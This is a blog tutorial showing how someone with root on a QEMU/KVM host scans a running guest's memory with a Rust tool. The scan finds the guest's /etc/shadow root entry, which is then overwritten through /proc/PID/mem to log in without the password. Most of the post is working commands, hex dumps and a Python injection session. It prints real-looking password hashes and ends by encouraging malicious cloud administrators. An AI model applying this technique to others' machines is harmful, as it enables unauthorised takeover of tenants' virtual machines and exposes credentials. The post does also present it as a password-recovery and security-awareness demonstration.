You may already read my articles about virtualization/cloud security:
In the above articles I was impersonating an evil cloud administrator and showing you how this kind of person can access and modify even encrypted data.
We will continue this fun, but this time you may also use this trick when you forget root password in a machine running under QEMU.
You can find a great article showing the technique that requires machine restart:
https://www.cyberciti.biz/faq/how-to-reset-forgotten-root-password-for-linux-kvm-qcow2-image-vm/
Here you will find a method that doesn’t require a restart. To do this – I wrote a simple tool in Rust to scan a memory of a VM in multiple threads, based on hex patterns.
https://github.com/ora600pl/focs_vm
To compile this tool, you need to install Rust compiler and GIT tools. After that it is quire simple:
[root@rapier-v ~]# git clone https://github.com/ora600pl/focs_vm
Cloning into 'focs_vm'...
remote: Enumerating objects: 17, done.
remote: Counting objects: 100% (17/17), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 17 (delta 5), reused 11 (delta 2), pack-reused 0
Unpacking objects: 100% (17/17), done.
[root@rapier-v ~]# cd focs_vm/
[root@rapier-v focs_vm]# cargo build --release
Updating crates.io index
Compiling proc-macro2 v1.0.46
Compiling quote v1.0.21
Compiling unicode-ident v1.0.4
Compiling version_check v0.9.4
Compiling syn v1.0.101
Compiling libc v0.2.134
Compiling autocfg v1.1.0
Compiling rustversion v1.0.9
Compiling either v1.8.0
Compiling proc-maps v0.2.1
Compiling hashbrown v0.12.3
Compiling os_str_bytes v6.3.0
Compiling heck v0.4.0
Compiling textwrap v0.15.1
Compiling strsim v0.10.0
Compiling bitflags v1.3.2
Compiling termcolor v1.1.3
Compiling once_cell v1.15.0
Compiling patternscan v1.2.0
Compiling pretty-hex v0.3.0
Compiling clap_lex v0.2.4
Compiling proc-macro-error-attr v1.0.4
Compiling proc-macro-error v1.0.4
Compiling indexmap v1.9.1
Compiling atty v0.2.14
Compiling clap_derive v3.2.18
Compiling binread_derive v2.1.0
Compiling binread v2.2.0
Compiling clap v3.2.22
Compiling focs_vm v0.1.0 (/root/focs_vm)
Finished release [optimized] target(s) in 23.36s
[root@rapier-v focs_vm]# ./target/release/focs_vm -h
focs_vm 0.1.0
Kamil Stawiarski <kamil@ora-600.pl>
Tool for finding patterns in memory
USAGE:
focs_vm [OPTIONS] --memory-size <MEMORY_SIZE> --pid <PID> --pattern <PATTERN>
OPTIONS:
-b, --buffer <BUFFER> Size of a buffer to print [default: 256]
-h, --help Print help information
-m, --memory-size <MEMORY_SIZE> Size of memory segment to scan
-p, --pid <PID> PID of the process to scan
-p, --pattern <PATTERN> Pattern in hex to search for
-P, --parallel <PARALLEL> Parallel degree [default: 4]
-V, --version
Now we can start to hack our VM 🙂
First, we have to find PID of qemu process, that emulates hardware for our virtual machine that we want to hack:
[root@rapier-v focs_vm]# ps aux | grep "guest=oel8.2_db"
qemu 20612 201 1.6 7171604 525280 ? Sl 15:56 0:34 /usr/bin/qemu-system-x86_64 -name guest=oel8.2_db,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-57-oel8.2_db/master-key.aes -machine pc-i440fx-2.12,accel=kvm,usb=off,dump-guest-core=off -cpu SandyBridge -m size=6291456k,slots=16,maxmem=25165824k -overcommit mem-lock=off -smp 4,maxcpus=64,sockets=16,cores=4,threads=1 -object iothread,id=iothread1 -numa node,nodeid=0,cpus=0-3,mem=6144 -uuid 9d8ca6c0-a195-4ded-87c3-118b4ea3f027 -smbios type=1,manufacturer=oVirt,product=oVirt Node,version=7.9-1.0.9.el7,serial=dd3d1c20-e993-4db8-819f-49be6e41508a,uuid=9d8ca6c0-a195-4ded-87c3-118b4ea3f027 -no-user-config -nodefaults -chardev socket,id=charmonitor,fd=44,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=2022-10-02T13:56:06,driftfix=slew -global kvm-pit.lost_tick_policy=delay -no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot strict=on -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -device virtio-scsi-pci,iothread=iothread1,id=ua-b8519675-d520-4cb5-93b8-ebad1dc292fc,bus=pci.0,addr=0x3 -device virtio-serial-pci,id=ua-6f04fa2d-c593-40d3-a6da-12a9e389a618,max_ports=16,bus=pci.0,addr=0x4 -device ide-cd,bus=ide.1,unit=0,id=ua-40fff682-6ccf-4818-8d93-a5c479bdb624,bootindex=2,werror=report,rerror=report -blockdev {"driver":"file","filename":"/rhev/data-center/mnt/10.0.0.64:_ssd_ovirtshared/0c60969a-12a7-4c11-9fd0-be7b84ae2702/images/4ffec250-fb0e-498e-a70c-af8135903b49/0c2d909d-b248-46d1-ae0e-2906cbc4e8d8","aio":"threads","node-name":"libvirt-1-storage","cache":{"direct":true,"no-flush":false},"auto-read-only":true,"discard":"unmap"} -blockdev {"node-name":"libvirt-1-format","read-only":false,"cache":{"direct":true,"no-flush":false},"driver":"raw","file":"libvirt-1-storage"} -device scsi-hd,bus=ua-b8519675-d520-4cb5-93b8-ebad1dc292fc.0,channel=0,scsi-id=0,lun=0,device_id=4ffec250-fb0e-498e-a70c-af8135903b49,drive=libvirt-1-format,id=ua-4ffec250-fb0e-498e-a70c-af8135903b49,bootindex=1,write-cache=on,serial=4ffec250-fb0e-498e-a70c-af8135903b49,werror=stop,rerror=stop -netdev tap,fds=47:48:49:50,id=hostua-d4a3c2f7-eeed-4c2c-91b5-6bc91b96a419,vhost=on,vhostfds=51:52:53:54 -device virtio-net-pci,mq=on,vectors=10,host_mtu=1500,netdev=hostua-d4a3c2f7-eeed-4c2c-91b5-6bc91b96a419,id=ua-d4a3c2f7-eeed-4c2c-91b5-6bc91b96a419,mac=56:6f:ba:f8:00:00,bus=pci.0,addr=0x6 -chardev socket,id=charchannel0,fd=55,server,nowait -device virtserialport,bus=ua-6f04fa2d-c593-40d3-a6da-12a9e389a618.0,nr=1,chardev=charchannel0,id=channel0,name=ovirt-guest-agent.0 -chardev socket,id=charchannel1,fd=56,server,nowait -device virtserialport,bus=ua-6f04fa2d-c593-40d3-a6da-12a9e389a618.0,nr=2,chardev=charchannel1,id=channel1,name=org.qemu.guest_agent.0 -device usb-tablet,id=input0,bus=usb.0,port=1 -vnc 10.0.0.16:1,password -k en-us -device VGA,id=ua-38ed59e7-ed86-4ebb-9a88-5abe9b2e3d79,vgamem_mb=16,bus=pci.0,addr=0x2 -device virtio-balloon-pci,id=ua-9c3ea500-ec71-42d4-a2e8-5925aad29ae1,bus=pci.0,addr=0x5 -object rng-random,id=objua-3cad2e05-3153-4728-a38f-a8e715150fa7,filename=/dev/urandom -device virtio-rng-pci,rng=objua-3cad2e05-3153-4728-a38f-a8e715150fa7,id=ua-3cad2e05-3153-4728-a38f-a8e715150fa7,bus=pci.0,addr=0x7 -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny -msg timestamp=on
Now we can search this process for an appropriate pattern. But what pattern to choose?
First of all we have to realize that every file in linux once opened, stays opened in memory. We just have to find it from outside.
And we are going to search for /etc/shadow. This file will be somewhere in memory if someone logged to this VM with SSH even once.
[root@dbVictim ~]# cat /etc/shadow
root:$6$uxkQCByMbPf50ts5$rdgsFWGOWfWwuob.X2mzk5UBkQhFcGVcYDuUqbry3Z3Bp6Yg2KuPwVa6CaeMtaHunLTlmNaqnv4v5FKSHTT321:19261:0:99999:7:::
bin:*:18307:0:99999:7:::
daemon:*:18307:0:99999:7:::
adm:*:18307:0:99999:7:::
lp:*:18307:0:99999:7:::
sync:*:18307:0:99999:7:::
shutdown:*:18307:0:99999:7:::
halt:*:18307:0:99999:7:::
mail:*:18307:0:99999:7:::
operator:*:18307:0:99999:7:::
games:*:18307:0:99999:7:::
ftp:*:18307:0:99999:7:::
nobody:*:18307:0:99999:7:::
dbus:!!:18759::::::
systemd-coredump:!!:18759::::::
systemd-resolve:!!:18759::::::
tss:!!:18759::::::
polkitd:!!:18759::::::
libstoragemgmt:!!:18759::::::
unbound:!!:18759::::::
clevis:!!:18759::::::
setroubleshoot:!!:18759::::::
cockpit-ws:!!:18759::::::
cockpit-wsinstance:!!:18759::::::
sssd:!!:18759::::::
sshd:!!:18759::::::
chrony:!!:18759::::::
rngd:!!:18759::::::
tcpdump:!!:18759::::::
rpc:!!:18759:0:99999:7:::
rpcuser:!!:18759::::::
oracle:$6$q7ju1k2dxHljMNjD$A6xGnvnqrPTRn6rHolwEn0mSf8vdn.GCCLgORa0hMS/1dHJd86UqezBBKtgdfE20/6MLlJ.O1smo0KIf7zSs..:18894:0:99999:7:::
splunk:!!:18926:0:99999:7:::
elk:!!:19223:0:99999:7:::
You may notice, that every user that has password, contains the pattern: username:$6$
So I’m going to search for a pattern that looks like this: root:$6$
In hex it looks like this: 72 6f 6f 74 3a 24 36 24
Our virtual machine has 6291456k of RAM – this knowledge is necessary for finding appropriate map in the process.
Let’s scan the process memory in 6 parallel threads:
[root@rapier-v focs_vm]# ./target/release/focs_vm --pid 20612 --memory-size $((6291456*1024)) -P 6 --pattern '72 6f 6f 74 3a 24 36 24'
Found map at the start offset = 139691326177280 end offset = 139697768628224
Scanning memory from 139695621144576 to 139696694886400 in a separate thread
Scanning memory from 139691326177280 to 139692399919104 in a separate thread
Scanning memory from 139693473660928 to 139694547402752 in a separate thread
Scanning memory from 139692399919104 to 139693473660928 in a separate thread
Scanning memory from 139694547402752 to 139695621144576 in a separate thread
Scanning memory from 139696694886400 to 139697768628224 in a separate thread
Scanned: 18 %
Position of pattern found at 139691534127104
Length: 256 (0x100) bytes
0000: 72 6f 6f 74 3a 24 36 24 75 78 6b 51 43 42 79 4d root:$6$uxkQCByM
0010: 62 50 66 35 30 74 73 35 24 72 64 67 73 46 57 47 bPf50ts5$rdgsFWG
0020: 4f 57 66 57 77 75 6f 62 2e 58 32 6d 7a 6b 35 55 OWfWwuob.X2mzk5U
0030: 42 6b 51 68 46 63 47 56 63 59 44 75 55 71 62 72 BkQhFcGVcYDuUqbr
0040: 79 33 5a 33 42 70 36 59 67 32 4b 75 50 77 56 61 y3Z3Bp6Yg2KuPwVa
0050: 36 43 61 65 4d 74 61 48 75 6e 4c 54 6c 6d 4e 61 6CaeMtaHunLTlmNa
0060: 71 6e 76 34 76 35 46 4b 53 48 54 54 33 32 31 3a qnv4v5FKSHTT321:
0070: 31 39 32 36 31 3a 30 3a 39 39 39 39 39 3a 37 3a 19261:0:99999:7:
0080: 3a 3a 0a 62 69 6e 3a 2a 3a 31 38 33 30 37 3a 30 ::.bin:*:18307:0
0090: 3a 39 39 39 39 39 3a 37 3a 3a 3a 0a 64 61 65 6d :99999:7:::.daem
00a0: 6f 6e 3a 2a 3a 31 38 33 30 37 3a 30 3a 39 39 39 on:*:18307:0:999
00b0: 39 39 3a 37 3a 3a 3a 0a 61 64 6d 3a 2a 3a 31 38 99:7:::.adm:*:18
00c0: 33 30 37 3a 30 3a 39 39 39 39 39 3a 37 3a 3a 3a 307:0:99999:7:::
00d0: 0a 6c 70 3a 2a 3a 31 38 33 30 37 3a 30 3a 39 39 .lp:*:18307:0:99
00e0: 39 39 39 3a 37 3a 3a 3a 0a 73 79 6e 63 3a 2a 3a 999:7:::.sync:*:
00f0: 31 38 33 30 37 3a 30 3a 39 39 39 39 39 3a 37 3a 18307:0:99999:7:
Scanned: 100 %
Now that we have an offset, we can open the “/proc/20612/mem” file and inject our change into the memory.
The easiest way is to set root password in some other operating system and copy the entry from /etc/shadow file.
[root@rapier-v focs_vm]# python
Python 2.7.5 (default, Mar 12 2021, 14:55:44)
[GCC 4.8.5 20150623 (Red Hat 4.8.5-44.0.3)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> f = open("/proc/20612/mem", "rb+")
>>> f.seek(139691534127104)
>>> hack = b"root:$6$pMJVMgzR$KK3wU130HkMGlJoDXx5gtWFxAobhv3.k7F/Q.IusFWDE6riZh0YMwWzMUR6uYSu8WYOZN3byN3q0scvcopGJ61:19267:0:99999:7:::\n"
>>> f.write(hack)
>>> f.close()
>>>
[root@rapier-v focs_vm]# ssh root@10.13
root@10.13's password:
Activate the web console with: systemctl enable --now cockpit.socket
Last login: Sun Oct 2 15:56:57 2022 from 10.0.0.64
[root@dbVictim ~]#
And voilà! 🍻
Using this technique you can obviously change any configuration text file you can imagine, so use your imagination wisely – especially if you are an admin working for cloud vendor with access to bare metal 😈